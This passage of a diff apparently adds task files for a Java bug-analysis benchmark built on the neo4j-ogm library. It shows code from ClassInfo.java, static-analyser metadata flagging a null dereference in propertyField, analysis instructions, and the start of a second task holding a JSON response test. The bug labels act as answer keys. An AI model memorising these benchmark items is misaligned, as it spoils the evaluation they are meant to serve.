+            return labelField;
+        }
+        if (!labelFieldMapped) {
+            for (FieldInfo fieldInfo : fieldsInfo().fields()) {
+                if (fieldInfo.isLabelField()) {
+                    if (!fieldInfo.isIterable()) {
+                        throw new MappingException(String.format(
+                                "Field '%s' in class '%s' includes the @Labels annotation, however this field is not a " +
+                                        "type of collection.", fieldInfo.getName(), this.name()));
+                    }
+                    labelFieldMapped = true;
+                    labelField = fieldInfo;
+                    return labelField;
+                }
+            }
+            labelFieldMapped = true;
+        }
+        return null;
+    }
+
+    public boolean isRelationshipEntity() {
+        for (AnnotationInfo info : annotations()) {
+            if (info.getName().equals(RelationshipEntity.class.getName())) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    /**
+     * A property field is any field annotated with @Property, or any field that can be mapped to a
+     * node property. The identity field is not a property field.
+     *
+     * @return A Collection of FieldInfo objects describing the classInfo's property fields
+     */
+    public Collection<FieldInfo> propertyFields() {
+        if (fieldInfos == null) {
+            if (fieldInfos == null) {
+                FieldInfo identityField = identityFieldOrNull();
+                fieldInfos = new HashSet<>();
+                for (FieldInfo fieldInfo : fieldsInfo().fields()) {
+                    if (fieldInfo != identityField && !fieldInfo.isLabelField()
+                            && !fieldInfo.hasAnnotation(StartNode.class)
+                            && !fieldInfo.hasAnnotation(EndNode.class)) {
+                        AnnotationInfo annotationInfo = fieldInfo.getAnnotations().get(Property.class);
+                        if (annotationInfo == null) {
+                            if (fieldInfo.persistableAsProperty()) {
+                                fieldInfos.add(fieldInfo);
+                            }
+                        } else {
+                            fieldInfos.add(fieldInfo);
+                        }
+                    }
+                }
+            }
+        }
+        return fieldInfos;
+    }
+
+    /**
+     * Finds the property field with a specific property name from the ClassInfo's property fields
+     * Note that this method does not allow for property names with differing case. //TODO
+     *
+     * @param propertyName the propertyName of the field to find
+     * @return A FieldInfo object describing the required property field, or null if it doesn't exist.
+     */
+    public FieldInfo propertyField(String propertyName) {
+        if (propertyFields == null) {
+
+            if (propertyFields == null) {
+                Collection<FieldInfo> fieldInfos = propertyFields();
+                propertyFields = new HashMap<>(fieldInfos.size());
+                for (FieldInfo fieldInfo : fieldInfos) {
+
+                    propertyFields.put(fieldInfo.property().toLowerCase(), fieldInfo);
+                }
+            }
+        }
+        return propertyFields.get(propertyName.toLowerCase());
+    }
+
+
+    /**
+     * Finds the property field with a specific field name from the ClassInfo's property fields
+     *
+     * @param propertyName the propertyName of the field to find
+     * @return A FieldInfo object describing the required property field, or null if it doesn't exist.
+     */
+    public FieldInfo propertyFieldByName(String propertyName) {
+        for (FieldInfo fieldInfo : propertyFields()) {
+            if (fieldInfo.getName().equalsIgnoreCase(propertyName)) {
+                return fieldInfo;
+            }
+        }
+        return null;
+    }
+
+    /**
+     * A relationship field is any field annotated with @Relationship, or any field that cannot be mapped to a
+     * node property. The identity field is not a relationship field.
+     *
+     * @return A Collection of FieldInfo objects describing the classInfo's relationship fields
+     */
+    public Collection<FieldInfo> relationshipFields() {
+        FieldInfo identityField = identityFieldOrNull();
+        Set<FieldInfo> fieldInfos = new HashSet<>();
+        for (FieldInfo fieldInfo : fieldsInfo().fields()) {
+            if (fieldInfo != identityField) {
+                AnnotationInfo annotationInfo = fieldInfo.getAnnotations().get(Relationship.class);
+                if (annotationInfo == null) {
+                    if (!fieldInfo.persistableAsProperty()) {
+                        fieldInfos.add(fieldInfo);
+                    }
+                } else {
+                    fieldInfos.add(fieldInfo);
+                }
+            }
+        }
+        return fieldInfos;
+    }
+
+    /**
+     * Finds the relationship field with a specific name from the ClassInfo's relationship fields
+     *
+     * @param relationshipName the relationshipName of the field to find
+     * @return A FieldInfo object describing the required relationship field, or null if it doesn't exist.
+     */
+    public FieldInfo relationshipField(String relationshipName) {
+        for (FieldInfo fieldInfo : relationshipFields()) {
+            if (fieldInfo.relationship().equalsIgnoreCase(relationshipName)) {
+                return fieldInfo;
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Finds the relationship field with a specific name and direction from the ClassInfo's relationship fields
+     *
+     * @param relationshipName the relationshipName of the field to find
+     * @param relationshipDirection the direction of the relationship
+     * @param strict if true, does not infer relationship type but looks for it in the @Relationship annotation. Null if missing. If false, infers relationship type from FieldInfo
+     * @return A FieldInfo object describing the required relationship field, or null if it doesn't exist.
+     */
+    public FieldInfo relationshipField(String relationshipName, String relationshipDirection, boolean strict) {
+        for (FieldInfo fieldInfo : relationshipFields()) {
+            String relationship = strict ? fieldInfo.relationshipTypeAnnotation() : fieldInfo.relationship();
+            if (relationshipName.equalsIgnoreCase(relationship)) {
+                if (((fieldInfo.relationshipDirection(Relationship.OUTGOING).equals(Relationship.INCOMING) || fieldInfo.relationshipDirection(Relationship.OUTGOING).equals(Relationship.UNDIRECTED)) && (relationshipDirection.equals(Relationship.INCOMING)))
+                        || (relationshipDirection.equals(Relationship.OUTGOING) && !(fieldInfo.relationshipDirection(Relationship.OUTGOING).equals(Relationship.INCOMING)))) {
+                    return fieldInfo;
+                }
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Finds all relationship fields with a specific name and direction from the ClassInfo's relationship fields
+     *
+     * @param relationshipName the relationshipName of the field to find
+     * @param relationshipDirection the direction of the relationship
+     * @param strict if true, does not infer relationship type but looks for it in the @Relationship annotation. Null if missing. If false, infers relationship type from FieldInfo
+     * @return Set of  FieldInfo objects describing the required relationship field, or empty set if it doesn't exist.
+     */
+    public Set<FieldInfo> candidateRelationshipFields(String relationshipName, String relationshipDirection, boolean strict) {
+        Set<FieldInfo> candidateFields = new HashSet<>();
+        for (FieldInfo fieldInfo : relationshipFields()) {
+            String relationship = strict ? fieldInfo.relationshipTypeAnnotation() : fieldInfo.relationship();
+            if (relationshipName.equalsIgnoreCase(relationship)) {
+                if (((fieldInfo.relationshipDirection(Relationship.OUTGOING).equals(Relationship.INCOMING) || fieldInfo.relationshipDirection(Relationship.OUTGOING).equals(Relationship.UNDIRECTED)) && (relationshipDirection.equals(Relationship.INCOMING)))
+                        || (relationshipDirection.equals(Relationship.OUTGOING) && !(fieldInfo.relationshipDirection(Relationship.OUTGOING).equals(Relationship.INCOMING)))) {
+                    candidateFields.add(fieldInfo);
+                }
+            }
+        }
+        return candidateFields;
+    }
+
+    /**
+     * Finds the relationship field with a specific property name from the ClassInfo's relationship fields
+     *
+     * @param fieldName the name of the field
+     * @return A FieldInfo object describing the required relationship field, or null if it doesn't exist.
+     */
+    public FieldInfo relationshipFieldByName(String fieldName) {
+        for (FieldInfo fieldInfo : relationshipFields()) {
+            if (fieldInfo.getName().equalsIgnoreCase(fieldName)) {
+                return fieldInfo;
+            }
+        }
+        return null;
+    }
+
+    public Field getField(FieldInfo fieldInfo) {
+        Field field = fieldInfoFields.get(fieldInfo);
+        if (field != null) {
+            return field;
+        }
+        try {
+            field = cls.getDeclaredField(fieldInfo.getName());
+            fieldInfoFields.put(fieldInfo, field);
+            return field;
+        } catch (NoSuchFieldException e) {
+            if (directSuperclass() != null) {
+                field = directSuperclass().getField(fieldInfo);
+                fieldInfoFields.put(fieldInfo, field);
+                return field;
+            } else {
+                throw new RuntimeException("Field " + fieldInfo.getName() + " not found in class " + name() + " or any of its superclasses");
+            }
+        }
+    }
+
+    /**
+     * Returns the Method corresponding to the supplied MethodInfo as declared by the class represented by this ClassInfo
+     *
+     * @param methodInfo the MethodInfo used to obtain the Method
+     * @return a Method
+     */
+    public Method getMethod(MethodInfo methodInfo) {
+        return methodInfo.getMethod();
+    }
+
+    /**
+     * Find all FieldInfos for the specified ClassInfo whose type matches the supplied fieldType
+     *
+     * @param fieldType The field type to look for
+     * @return A {@link List} of {@link FieldInfo} objects that are of the given type, never <code>null</code>
+     */
+    public List<FieldInfo> findFields(Class<?> fieldType) {
+        String fieldSignature = fieldType.getName();
+        List<FieldInfo> fieldInfos = new ArrayList<>();
+        for (FieldInfo fieldInfo : fieldsInfo().fields()) {
+            if (fieldInfo.getTypeDescriptor().equals(fieldSignature)) {
+                fieldInfos.add(fieldInfo);
+            }
+        }
+        return fieldInfos;
+    }
+
+    /**
+     * Find all FieldInfos for the specified ClassInfo which have the specified annotation
+     *
+     * @param annotation The annotation
+     * @return A {@link List} of {@link FieldInfo} objects that are of the given type, never <code>null</code>
+     */
+    public List<FieldInfo> findFields(String annotation) {
+        List<FieldInfo> fieldInfos = new ArrayList<>();
+        for (FieldInfo fieldInfo : fieldsInfo().fields()) {
+            if (fieldInfo.hasAnnotation(annotation)) {
+                fieldInfos.add(fieldInfo);
+            }
+        }
+        return fieldInfos;
+    }
+
+    /**
+     * Retrieves a {@link List} of {@link FieldInfo} representing all of the fields that can be iterated over
+     * using a "foreach" loop.
+     *
+     * @return {@link List} of {@link FieldInfo}
+     */
+    public List<FieldInfo> findIterableFields() {
+        List<FieldInfo> fieldInfos = new ArrayList<>();
+        try {
+            for (FieldInfo fieldInfo : fieldsInfo().fields()) {
+                Class type = getField(fieldInfo).getType();
+                if (type.isArray() || Iterable.class.isAssignableFrom(type)) {
+                    fieldInfos.add(fieldInfo);
+                }
+            }
+            return fieldInfos;
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    /**
+     * Finds all fields whose type is equivalent to Array&lt;X&gt; or assignable from Iterable&lt;X&gt;
+     * where X is the generic parameter type of the Array or Iterable
+     *
+     * @param iteratedType the type of iterable
+     * @return {@link List} of {@link MethodInfo}, never <code>null</code>
+     */
+    public List<FieldInfo> findIterableFields(Class iteratedType) {
+        if (iterableFieldsForType.containsKey(iteratedType)) {
+            return iterableFieldsForType.get(iteratedType);
+        }
+        List<FieldInfo> fieldInfos = new ArrayList<>();
+        String typeSignature = iteratedType.getName();
+        String arrayOfTypeSignature = typeSignature + "[]";
+        try {
+            for (FieldInfo fieldInfo : fieldsInfo().fields()) {
+                String fieldType = fieldInfo.getTypeDescriptor();
+                if (fieldInfo.isArray() && (fieldType.equals(arrayOfTypeSignature) || fieldInfo.isParameterisedTypeOf(iteratedType))) {
+                    fieldInfos.add(fieldInfo);
+                } else if (fieldInfo.isIterable() && (fieldType.equals(typeSignature) || fieldInfo.isParameterisedTypeOf(iteratedType))) {
+                    fieldInfos.add(fieldInfo);
+                }
+            }
+            iterableFieldsForType.put(iteratedType, fieldInfos);
+            return fieldInfos;
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+
+    /**
+     * Finds all fields whose type is equivalent to Array&lt;X&gt; or assignable from Iterable&lt;X&gt;
+     * where X is the generic parameter type of the Array or Iterable and the relationship type backing this iterable is "relationshipType"
+     *
+     * @param iteratedType the type of iterable
+     * @param relationshipType the relationship type
+     * @param relationshipDirection the relationship direction
+     * @param strict if true, does not infer relationship type but looks for it in the @Relationship annotation. Null if missing. If false, infers relationship type from FieldInfo
+     * @return {@link List} of {@link MethodInfo}, never <code>null</code>
+     */
+    public List<FieldInfo> findIterableFields(Class iteratedType, String relationshipType, String relationshipDirection, boolean strict) {
+        List<FieldInfo> fieldInfos = new ArrayList<>();
+        for (FieldInfo fieldInfo : findIterableFields(iteratedType)) {
+            String relationship = strict ? fieldInfo.relationshipTypeAnnotation() : fieldInfo.relationship();
+            if (relationshipType.equals(relationship)) {
+                if (((fieldInfo.relationshipDirection(Relationship.OUTGOING).equals(Relationship.INCOMING) || fieldInfo.relationshipDirection(Relationship.OUTGOING).equals(Relationship.UNDIRECTED)) && relationshipDirection.equals(Relationship.INCOMING))
+                        || (relationshipDirection.equals(Relationship.OUTGOING) && !(fieldInfo.relationshipDirection(Relationship.OUTGOING).equals(Relationship.INCOMING)))) {
+                    fieldInfos.add(fieldInfo);
+                }
+            }
+        }
+        return fieldInfos;
+    }
+
+    public boolean isTransient() {
+        return annotationsInfo.get(Transient.class) != null;
+    }
+
+    public boolean isAbstract() {
+        return isAbstract;
+    }
+
+    /**
+     * Returns true if this classInfo is in the subclass hierarchy of b, or if this classInfo is the same as b, false otherwise
+     *
+     * @param classInfo the classInfo at the toplevel of a type hierarchy to search through
+     * @return true if this classInfo is in the subclass hierarchy of classInfo, false otherwise
+     */
+    boolean isSubclassOf(ClassInfo classInfo) {
+
+        if (this == classInfo) {
+            return true;
+        }
+
+        boolean found = false;
+
+        for (ClassInfo subclass : classInfo.directSubclasses()) {
+            found = isSubclassOf(subclass);
+            if (found) {
+                break;
+            }
+        }
+
+        return found;
+    }
+
+    /**
+     * Get the underlying class represented by this ClassInfo
+     *
+     * @return the underlying class or null if it cannot be determined
+     */
+    public Class<?> getUnderlyingClass() {
+        return cls;
+    }
+
+    /**
+     * Gets the class of the type parameter description of the entity related to this.
+     * The match is done based on the following-
+     * 2. Look for a field explicitly annotated with @Relationship for a type and implied direction
+     * 4. Look for a field with name derived from the relationship type for the given direction
+     *
+     * @param relationshipType the relationship type
+     * @param relationshipDirection the relationship direction
+     * @return class of the type parameter descriptor or null if it could not be determined
+     */
+    Class getTypeParameterDescriptorForRelationship(String relationshipType, String relationshipDirection) {
+        final boolean STRICT_MODE = true; //strict mode for matching methods and fields, will only look for explicit annotations
+        final boolean INFERRED_MODE = false; //inferred mode for matching methods and fields, will infer the relationship type from the getter/setter/property
+
+        try {
+            FieldInfo fieldInfo = relationshipField(relationshipType, relationshipDirection, STRICT_MODE);
+            if (fieldInfo != null && fieldInfo.getTypeDescriptor() != null) {
+                return ClassUtils.getType(fieldInfo.getTypeDescriptor());
+            }
+
+            if (!relationshipDirection.equals(Relationship.INCOMING)) { //we always expect an annotation for INCOMING
+                fieldInfo = relationshipField(relationshipType, relationshipDirection, INFERRED_MODE);
+                if (fieldInfo != null && fieldInfo.getTypeDescriptor() != null) {
+                    return ClassUtils.getType(fieldInfo.getTypeDescriptor());
+                }
+            }
+        } catch (RuntimeException e) {
+            LOGGER.debug("Could not get {} class type for relationshipType {} and relationshipDirection {} ", className, relationshipType, relationshipDirection);
+        }
+        return null;
+    }
+
+    /**
+     * @return If this class contains any fields/properties annotated with @Index.
+     */
+    public boolean containsIndexes() {
+        return !getIndexFields().isEmpty();
+    }
+
+    /**
+     * @return The <code>FieldInfo</code>s representing the Indexed fields in this class.
+     */
+    public Collection<FieldInfo> getIndexFields() {
+        if (indexFields == null) {
+            indexFields = addIndexes();
+        }
+        return indexFields.values();
+    }
+
+    private Map<String, FieldInfo> addIndexes() {
+        Map<String, FieldInfo> indexes = new HashMap<>();
+
+        // No way to get declared fields from current byte code impl. Using reflection instead.
+        Field[] declaredFields;
+        try {
+            declaredFields = Class.forName(className, false, Thread.currentThread().getContextClassLoader()).getDeclaredFields();
+        } catch (ClassNotFoundException e) {
+            throw new RuntimeException("Could not reflectively read declared fields", e);
+        }
+
+        for (FieldInfo fieldInfo : fieldsInfo().fields()) {
+            if (isDeclaredField(declaredFields, fieldInfo.getName()) &&
+                    (fieldInfo.hasAnnotation(Index.class) || fieldInfo.hasAnnotation(Id.class))) {
+
+                String propertyValue = fieldInfo.property();
+                if (fieldInfo.hasAnnotation(Property.class.getName())) {
+                    propertyValue = fieldInfo.property();
+                }
+                indexes.put(propertyValue, fieldInfo);
+            }
+        }
+        return indexes;
+    }
+
+    private static boolean isDeclaredField(Field[] declaredFields, String name) {
+
+        for (Field field : declaredFields) {
+            if (field.getName().equals(name)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+
+    public FieldInfo primaryIndexField() {
+        if (!primaryIndexFieldChecked && primaryIndexField == null) {
+
+            Collection<FieldInfo> primaryIndexFields = getFieldInfos(this::isPrimaryIndexField);
+            if (primaryIndexFields.size() > 1) {
+                throw new MetadataException("Only one @Id / @Index(primary=true, unique=true) annotation is allowed in a class hierarchy. Please check annotations in the class " + name() + " or its parents");
+            } else if (primaryIndexFields.size() == 1) {
+                primaryIndexField = primaryIndexFields.iterator().next();
+                AnnotationInfo generatedValueAnnotation = primaryIndexField.getAnnotations().get(GeneratedValue.class);
+                if (generatedValueAnnotation != null) {
+                    GeneratedValue value = (GeneratedValue) generatedValueAnnotation.getAnnotation();
+                    idStrategyClass = value.strategy();
+                    instantiateIdStrategy();
+                }
+            }
+            validateIdGenerationConfig();
+            primaryIndexFieldChecked = true;
+        }
+
+        return primaryIndexField;
+    }
+
+    public boolean hasPrimaryIndexField() {
+        if (!primaryIndexFieldChecked) {
+            primaryIndexField();
+        }
+        return primaryIndexField != null;
+    }
+
+    private boolean isPrimaryIndexField(FieldInfo fieldInfo) {
+        // primary index field is either
+        // field with @Id or @Id @GeneratedValue(strategy=..) where strategy != InternalIdStrategy
+        return (fieldInfo.getAnnotations().has(Id.class) &&
+                !(fieldInfo.getAnnotations().has(GeneratedValue.class) &&
+                        ((GeneratedValue) fieldInfo.getAnnotations().get(GeneratedValue.class).getAnnotation()).strategy().equals(InternalIdStrategy.class)
+
+                )) ||
+                // or @Index(primary=true) - backward compatibility
+                fieldInfo.getAnnotations().has(Index.class) &&
+                        ((Index) fieldInfo.getAnnotations().get(Index.class).getAnnotation()).primary();
+    }
+
+    private void instantiateIdStrategy() {
+        try {
+            idStrategy = idStrategyClass.newInstance();
+        } catch (InstantiationException | IllegalAccessException e) {
+            LOGGER.debug("Could not instantiate {}. Expecting this to be registered manually.", idStrategyClass);
+        }
+    }
+
+    private void validateIdGenerationConfig() {
+        fieldsInfo().fields().forEach(info -> {
+            if (info.hasAnnotation(GeneratedValue.class) && !info.hasAnnotation(Id.class)) {
+                throw new MetadataException("The type of @Generated field in class " + className + " must be also annotated with @Id.");
+            }
+        });
+        if (UuidStrategy.class.equals(idStrategyClass)
+                && !primaryIndexField.isTypeOf(UUID.class)
+                && !primaryIndexField.isTypeOf(String.class)) {
+            throw new MetadataException("The type of " + primaryIndexField.getName() + " in class " + className + " must be of type java.lang.UUID or java.lang.String because it has an UUID generation strategy.");
+        }
+    }
+
+    public IdStrategy idStrategy() {
+        if (!primaryIndexFieldChecked) {
+            primaryIndexField(); // force init
+        }
+        return idStrategy;
+    }
+
+    public Class<? extends IdStrategy> idStrategyClass() {
+        return idStrategyClass;
+    }
+
+    public void registerIdGenerationStrategy(IdStrategy strategy) {
+        if (strategy.getClass().equals(idStrategyClass)) {
+            idStrategy = strategy;
+        } else {
+            throw new IllegalArgumentException("Strategy " + strategy +
+                    " is not an instance of " + idStrategyClass);
+        }
+    }
+
+    public MethodInfo postLoadMethodOrNull() {
+        if (isPostLoadMethodMapped) {
+            return postLoadMethod;
+        }
+        if (!isPostLoadMethodMapped) {
+            for (MethodInfo methodInfo : methodsInfo().methods()) {
+                if (methodInfo.hasAnnotation(PostLoad.class.getName())) {
+                    isPostLoadMethodMapped = true;
+                    postLoadMethod = methodInfo;
+                    return postLoadMethod;
+                }
+            }
+            isPostLoadMethodMapped = true;
+        }
+        return null;
+    }
+
+    public FieldInfo getFieldInfo(String propertyName) {
+
+        // fall back to the field if method cannot be found
+        FieldInfo labelField = labelFieldOrNull();
+        if (labelField != null && labelField.getName().equals(propertyName)) {
+            return labelField;
+        }
+        FieldInfo propertyField = propertyField(propertyName);
+        if (propertyField != null) {
+            return propertyField;
+        }
+        return null;
+    }
+
+    /**
+     * Return a FieldInfo for the EndNode of a RelationshipEntity
+     *
+     * @return a FieldInfo for the field annotated as the EndNode, or none if not found
+     */
+    public FieldInfo getEndNodeReader() {
+        if (isRelationshipEntity()) {
+            for (FieldInfo fieldInfo : fieldsInfo().fields()) {
+                if (fieldInfo.getAnnotations().get(EndNode.class) != null) {
+                    return fieldInfo;
+                }
+            }
+            LOGGER.warn("Failed to find an @EndNode on {}", name());
+        }
+
+        return null;
+    }
+
+    /**
+     * Return a FieldInfo for the StartNode of a RelationshipEntity
+     *
+     * @return a FieldInfo for the field annotated as the StartNode, or none if not found
+     */
+    public FieldInfo getStartNodeReader() {
+        if (isRelationshipEntity()) {
+
+            for (FieldInfo fieldInfo : fieldsInfo().fields()) {
+                if (fieldInfo.getAnnotations().get(StartNode.class) != null) {
+                    return fieldInfo;
+                }
+            }
+            LOGGER.warn("Failed to find an @StartNode on {}", name());
+        }
+        return null;
+    }
+}
+
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `fieldInfo.property()` could be null and is dereferenced at line 433.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+FieldInfo ClassInfo.propertyField(String)
+
+### Procedure Id:
+org.neo4j.ogm.metadata.ClassInfo.propertyField(java.lang.String):org.neo4j.ogm.metadata.FieldInfo.24248e42846acf777721593dc61cdb1b
+
+### File:
+core/src/main/java/org/neo4j/ogm/metadata/ClassInfo.java
+
+### Key:
+ClassInfo.java|propertyField|NULL_DEREFERENCE
+
+### Node Key:
+3673c4de52f870dfd662aca72d369e76
+
+### Hash:
+cc98bb2a925d87d4487dd0dc711f08bc
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7519/instruction.md b/inferredbugs-7519/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..357fd165b76ada54fd8ad7c1b3dff21d712ff493
--- /dev/null
+++ b/inferredbugs-7519/instruction.md
@@ -0,0 +1,187 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** neo4j-ogm
+**Bug ID:** 30
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2002-2016 "Neo Technology,"
+ * Network Engine for Objects in Lund AB [http://neotechnology.com]
+ *
+ * This product is licensed to you under the Apache License, Version 2.0 (the "License").
+ * You may not use this product except in compliance with the License.
+ *
+ * This product may include a number of subcomponents with
+ * separate copyright notices and license terms. Your use of the source
+ * code for these subcomponents is subject to the terms and
+ *  conditions of the subcomponent's license, as noted in the LICENSE file.
+ */
+
+package org.neo4j.ogm.drivers.http.response;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.TestCase.assertNotNull;
+
+import java.io.ByteArrayInputStream;
+import java.io.InputStream;
+import java.util.Map;
+
+import org.junit.Test;
+import org.neo4j.ogm.response.Response;
+import org.neo4j.ogm.response.model.DefaultRestModel;
+import org.neo4j.ogm.result.ResultRestModel;
+
+/**
+ * @author Luanne Misquitta
+ */
+public class JsonRestResponseTest {
+
+    @Test
+    public void shouldParseColumnsInRowResponseCorrectly() {
+        try (Response<DefaultRestModel> rsp = new TestRestHttpResponse((rowResultsAndNoErrors()))) {
+            assertEquals(3, rsp.columns().length);
+            assertEquals("count",rsp.columns()[0]);
+        }
+    }
+
+  @Test
+    public void shouldParseColumnsInRowResponseWithNoColumnsCorrectly() {
+      try (Response<DefaultRestModel> rsp = new TestRestHttpResponse((noRowResultsAndNoErrors()))) {
+          assertEquals(3, rsp.columns().length);
+            assertEquals("director",rsp.columns()[1]);
+
+        }
+    }
+
+     @Test
+    public void shouldParseDataInRowResponseCorrectly() {
+        try (Response<DefaultRestModel> rsp = new TestRestHttpResponse((rowResultsAndNoErrors()))) {
+            DefaultRestModel restModel = rsp.next();
+            assertNotNull(restModel);
+            Object[] rows = restModel.getValues();
+            assertEquals(3,rows.length);
+            assertEquals(1, rows[0]);
+            Map data = (Map) rows[1];
+            assertEquals(1931,((Map)data.get("data")).get("born"));
+            data = (Map) rows[2];
+            assertEquals("The Birdcage", ((Map)data.get("data")).get("title"));
+            assertEquals(395, ((Map)data.get("metadata")).get("id"));
+
+            restModel = rsp.next();
+            rows = restModel.getValues();
+            assertEquals(3,rows.length);
+            assertEquals(1, rows[0]);
+            data = (Map) rows[1];
+            assertEquals(1931,((Map)data.get("data")).get("born"));
+            data = (Map) rows[2];
+            assertEquals(2007, ((Map)data.get("data")).get("released"));
+        }
+    }
+
+    private InputStream rowResultsAndNoErrors() {
+
+        final String s= "{\"results\":[{\"columns\":[\"count\",\"director\",\"movie\"],\"data\":[{\"rest\":[1,{\"outgoing_relationships\":\"http://localhost:7474/db/data/node/396/relationships/out\",\"labels\":\"http://localhost:7474/db/data/node/396/labels\",\"all_typed_relationships\":\"http://localhost:7474/db/data/node/396/relationships/all/{-list|&|types}\",\"traverse\":\"http://localhost:7474/db/data/node/396/traverse/{returnType}\",\"self\":\"http://localhost:7474/db/data/node/396\",\"property\":\"http://localhost:7474/db/data/node/396/properties/{key}\",\"outgoing_typed_relationships\":\"http://localhost:7474/db/data/node/396/relationships/out/{-list|&|types}\",\"properties\":\"http://localhost:7474/db/data/node/396/properties\",\"incoming_relationships\":\"http://localhost:7474/db/data/node/396/relationships/in\",\"create_relationship\":\"http://localhost:7474/db/data/node/396/relationships\",\"paged_traverse\":\"http://localhost:7474/db/data/node/396/paged/traverse/{returnType}{?pageSize,leaseTime}\",\"all_relationships\":\"http://localhost:7474/db/data/node/396/relationships/all\",\"incoming_typed_relationships\":\"http://localhost:7474/db/data/node/396/relationships/in/{-list|&|types}\",\"metadata\":{\"id\":396,\"labels\":[\"Person\"]},\"data\":{\"born\":1931,\"name\":\"Mike Nichols\"}},{\"outgoing_relationships\":\"http://localhost:7474/db/data/node/395/relationships/out\",\"labels\":\"http://localhost:7474/db/data/node/395/labels\",\"all_typed_relationships\":\"http://localhost:7474/db/data/node/395/relationships/all/{-list|&|types}\",\"traverse\":\"http://localhost:7474/db/data/node/395/traverse/{returnType}\",\"self\":\"http://localhost:7474/db/data/node/395\",\"property\":\"http://localhost:7474/db/data/node/395/properties/{key}\",\"outgoing_typed_relationships\":\"http://localhost:7474/db/data/node/395/relationships/out/{-list|&|types}\",\"properties\":\"http://localhost:7474/db/data/node/395/properties\",\"incoming_relationships\":\"http://localhost:7474/db/data/node/395/relationships/in\",\"create_relationship\":\"http://localhost:7474/db/data/node/395/relationships\",\"paged_traverse\":\"http://localhost:7474/db/data/node/395/paged/traverse/{returnType}{?pageSize,leaseTime}\",\"all_relationships\":\"http://localhost:7474/db/data/node/395/relationships/all\",\"incoming_typed_relationships\":\"http://localhost:7474/db/data/node/395/relationships/in/{-list|&|types}\",\"metadata\":{\"id\":395,\"labels\":[\"Movie\"]},\"data\":{\"released\":1996,\"title\":\"The Birdcage\",\"tagline\":\"Come as you are\"}}]},{\"rest\":[1,{\"outgoing_relationships\":\"http://localhost:7474/db/data/node/396/relationships/out\",\"labels\":\"http://localhost:7474/db/data/node/396/labels\",\"all_typed_relationships\":\"http://localhost:7474/db/data/node/396/relationships/all/{-list|&|types}\",\"traverse\":\"http://localhost:7474/db/data/node/396/traverse/{returnType}\",\"self\":\"http://localhost:7474/db/data/node/396\",\"property\":\"http://localhost:7474/db/data/node/396/properties/{key}\",\"outgoing_typed_relationships\":\"http://localhost:7474/db/data/node/396/relationships/out/{-list|&|types}\",\"properties\":\"http://localhost:7474/db/data/node/396/properties\",\"incoming_relationships\":\"http://localhost:7474/db/data/node/396/relationships/in\",\"create_relationship\":\"http://localhost:7474/db/data/node/396/relationships\",\"paged_traverse\":\"http://localhost:7474/db/data/node/396/paged/traverse/{returnType}{?pageSize,leaseTime}\",\"all_relationships\":\"http://localhost:7474/db/data/node/396/relationships/all\",\"incoming_typed_relationships\":\"http://localhost:7474/db/data/node/396/relationships/in/{-list|&|types}\",\"metadata\":{\"id\":396,\"labels\":[\"Person\"]},\"data\":{\"born\":1931,\"name\":\"Mike Nichols\"}},{\"outgoing_relationships\":\"http://localhost:7474/db/data/node/457/relationships/out\",\"labels\":\"http://localhost:7474/db/data/node/457/labels\",\"all_typed_relationships\":\"http://localhost:7474/db/data/node/457/relationships/all/{-list|&|types}\",\"traverse\":\"http://localhost:7474/db/data/node/457/traverse/{returnType}\",\"self\":\"http://localhost:7474/db/data/node/457\",\"property\":\"http://localhost:7474/db/data/node/457/properties/{key}\",\"outgoing_typed_relationships\":\"http://localhost:7474/db/data/node/457/relationships/out/{-list|&|types}\",\"properties\":\"http://localhost:7474/db/data/node/457/properties\",\"incoming_relationships\":\"http://localhost:7474/db/data/node/457/relationships/in\",\"create_relationship\":\"http://localhost:7474/db/data/node/457/relationships\",\"paged_traverse\":\"http://localhost:7474/db/data/node/457/paged/traverse/{returnType}{?pageSize,leaseTime}\",\"all_relationships\":\"http://localhost:7474/db/data/node/457/relationships/all\",\"incoming_typed_relationships\":\"http://localhost:7474/db/data/node/457/relationships/in/{-list|&|types}\",\"metadata\":{\"id\":457,\"labels\":[\"Movie\"]},\"data\":{\"released\":2007,\"title\":\"Charlie Wilson's War\",\"tagline\":\"A stiff drink. A little mascara. A lot of nerve. Who said they couldn't bring down the Soviet empire.\"}}]}]}],\"errors\":[]}";
+
+        return new ByteArrayInputStream(s.getBytes());
+    }
+
+    private InputStream noRowResultsAndNoErrors() {
+
+        final String s = "{\"results\":[{\"columns\":[\"count\",\"director\",\"movie\"],\"data\":[]}],\"errors\":[]}";
+
+        return new ByteArrayInputStream(s.getBytes());
+    }
+
+
+
+    static class TestRestHttpResponse extends AbstractHttpResponse<ResultRestModel> implements Response<DefaultRestModel> {
+
+        public TestRestHttpResponse(InputStream inputStream) {
+            super(inputStream, ResultRestModel.class);
+        }
+
+        @Override
+        public DefaultRestModel next() {
+            ResultRestModel restModel = nextDataRecord("rest");
+
+            if (restModel != null) {
+                return new DefaultRestModel(restModel.queryResults());
+            }
+            return null;
+        }
+
+        @Override
+        public void close() {
+            //Nothing to do, the response has been closed already
+        }
+
+    }
+}
+
+```
+
